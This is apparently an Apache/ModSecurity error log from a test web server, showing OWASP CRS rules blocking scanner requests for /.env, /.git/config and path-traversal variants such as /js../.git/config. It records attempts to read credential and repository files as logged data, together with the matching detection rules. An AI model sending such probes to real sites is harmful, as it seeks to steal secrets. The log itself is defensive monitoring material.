[Sat Sep 07 18:11:02.319418 2024] [:error] [pid 1737449] [client 91.92.240.240:52020] [client 91.92.240.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Ztx7FvgLrg-HkgeFnNMDRAAAAAE&quot;]
[Sat Sep 07 18:11:02.319904 2024] [:error] [pid 1737449] [client 91.92.240.240:52020] [client 91.92.240.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Ztx7FvgLrg-HkgeFnNMDRAAAAAE&quot;]
[Sun Sep 08 01:05:17.319838 2024] [:error] [pid 1756168] [client 45.148.10.206:51078] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtzcLapH1DSYEGnu7JpdqAAAAAk&quot;]
[Sun Sep 08 01:05:17.320371 2024] [:error] [pid 1756168] [client 45.148.10.206:51078] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtzcLapH1DSYEGnu7JpdqAAAAAk&quot;]
[Sun Sep 08 01:05:17.320621 2024] [:error] [pid 1756168] [client 45.148.10.206:51078] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtzcLapH1DSYEGnu7JpdqAAAAAk&quot;]
[Mon Sep 09 07:40:52.558773 2024] [:error] [pid 1781014] [client 91.92.240.240:61774] [client 91.92.240.240] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zt6KZBc8P4Ezv-ilv50TNgAAAAM&quot;]
[Mon Sep 09 07:40:52.559438 2024] [:error] [pid 1781014] [client 91.92.240.240:61774] [client 91.92.240.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zt6KZBc8P4Ezv-ilv50TNgAAAAM&quot;]
[Mon Sep 09 07:40:52.560032 2024] [:error] [pid 1781014] [client 91.92.240.240:61774] [client 91.92.240.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zt6KZBc8P4Ezv-ilv50TNgAAAAM&quot;]
[Tue Sep 10 04:50:13.771749 2024] [:error] [pid 1804504] [client 3.145.57.200:35816] [client 3.145.57.200] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zt-z5eJccGGyrf6Be6BntwAAAAA&quot;]
[Tue Sep 10 04:50:13.772676 2024] [:error] [pid 1804504] [client 3.145.57.200:35816] [client 3.145.57.200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zt-z5eJccGGyrf6Be6BntwAAAAA&quot;]
[Tue Sep 10 04:50:13.773155 2024] [:error] [pid 1804504] [client 3.145.57.200:35816] [client 3.145.57.200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zt-z5eJccGGyrf6Be6BntwAAAAA&quot;]
[Fri Sep 20 00:04:50.017973 2024] [autoindex:error] [pid 2051321] [client 45.135.232.70:57192] AH01276: Cannot serve directory /var/www/pms.test.indaco.store/www/assets/i18n/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive
[Tue Sep 24 23:16:31.108553 2024] [:error] [pid 2144596] [client 92.118.39.244:53908] [client 92.118.39.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvMsL5WCulQv8cTQ3sfUsgAAAAA&quot;]
[Tue Sep 24 23:16:31.110306 2024] [:error] [pid 2144596] [client 92.118.39.244:53908] [client 92.118.39.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvMsL5WCulQv8cTQ3sfUsgAAAAA&quot;]
[Tue Sep 24 23:16:31.110909 2024] [:error] [pid 2144596] [client 92.118.39.244:53908] [client 92.118.39.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvMsL5WCulQv8cTQ3sfUsgAAAAA&quot;]
[Sat Sep 28 21:30:37.557266 2024] [:error] [pid 2249654] [client 45.148.10.59:49038] [client 45.148.10.59] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvhZXfuFShfxCpgLyHNDBQAAAAc&quot;]
[Sat Sep 28 21:30:37.560194 2024] [:error] [pid 2249654] [client 45.148.10.59:49038] [client 45.148.10.59] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvhZXfuFShfxCpgLyHNDBQAAAAc&quot;]
[Sat Sep 28 21:30:37.560577 2024] [:error] [pid 2249654] [client 45.148.10.59:49038] [client 45.148.10.59] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZvhZXfuFShfxCpgLyHNDBQAAAAc&quot;]
[Sat Sep 28 21:30:42.641867 2024] [:error] [pid 2249650] [client 45.148.10.59:49050] [client 45.148.10.59] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZvhZYldkwfLt0HQzodbnhQAAAAU&quot;]
[Sat Sep 28 21:30:42.642569 2024] [:error] [pid 2249650] [client 45.148.10.59:49050] [client 45.148.10.59] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZvhZYldkwfLt0HQzodbnhQAAAAU&quot;]
[Sat Sep 28 21:30:42.643320 2024] [:error] [pid 2249650] [client 45.148.10.59:49050] [client 45.148.10.59] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZvhZYldkwfLt0HQzodbnhQAAAAU&quot;]
[Thu Oct 10 13:04:04.287928 2024] [:error] [pid 2508914] [client 92.118.39.244:42726] [client 92.118.39.244] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zwe0pLnkq5XML8Nv5rdMxgAAAA8&quot;]
[Thu Oct 10 13:04:04.290873 2024] [:error] [pid 2508914] [client 92.118.39.244:42726] [client 92.118.39.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zwe0pLnkq5XML8Nv5rdMxgAAAA8&quot;]
[Thu Oct 10 13:04:04.291384 2024] [:error] [pid 2508914] [client 92.118.39.244:42726] [client 92.118.39.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zwe0pLnkq5XML8Nv5rdMxgAAAA8&quot;]
[Tue Oct 22 07:50:22.439378 2024] [:error] [pid 2779044] [client 179.43.189.138:43722] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zxc9Hlnio2wBcnkVGyMkggAAAAc&quot;]
[Tue Oct 22 07:50:22.442029 2024] [:error] [pid 2779044] [client 179.43.189.138:43722] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zxc9Hlnio2wBcnkVGyMkggAAAAc&quot;]
[Tue Oct 22 07:50:22.442761 2024] [:error] [pid 2779044] [client 179.43.189.138:43722] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zxc9Hlnio2wBcnkVGyMkggAAAAc&quot;]
[Sat Oct 26 05:36:16.018224 2024] [:error] [pid 2872368] [client 179.43.189.138:55510] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1oQAAAAE&quot;]
[Sat Oct 26 05:36:16.020611 2024] [:error] [pid 2872368] [client 179.43.189.138:55510] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1oQAAAAE&quot;]
[Sat Oct 26 05:36:16.021121 2024] [:error] [pid 2872368] [client 179.43.189.138:55510] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1oQAAAAE&quot;]
[Sat Oct 26 05:36:16.034295 2024] [:error] [pid 2872436] [client 179.43.189.138:55524] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfgAAAAY&quot;]
[Sat Oct 26 05:36:16.034897 2024] [:error] [pid 2872436] [client 179.43.189.138:55524] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfgAAAAY&quot;]
[Sat Oct 26 05:36:16.035330 2024] [:error] [pid 2872436] [client 179.43.189.138:55524] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfgAAAAY&quot;]
[Sat Oct 26 05:36:16.038289 2024] [:error] [pid 2872371] [client 179.43.189.138:55540] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PqwAAAAQ&quot;]
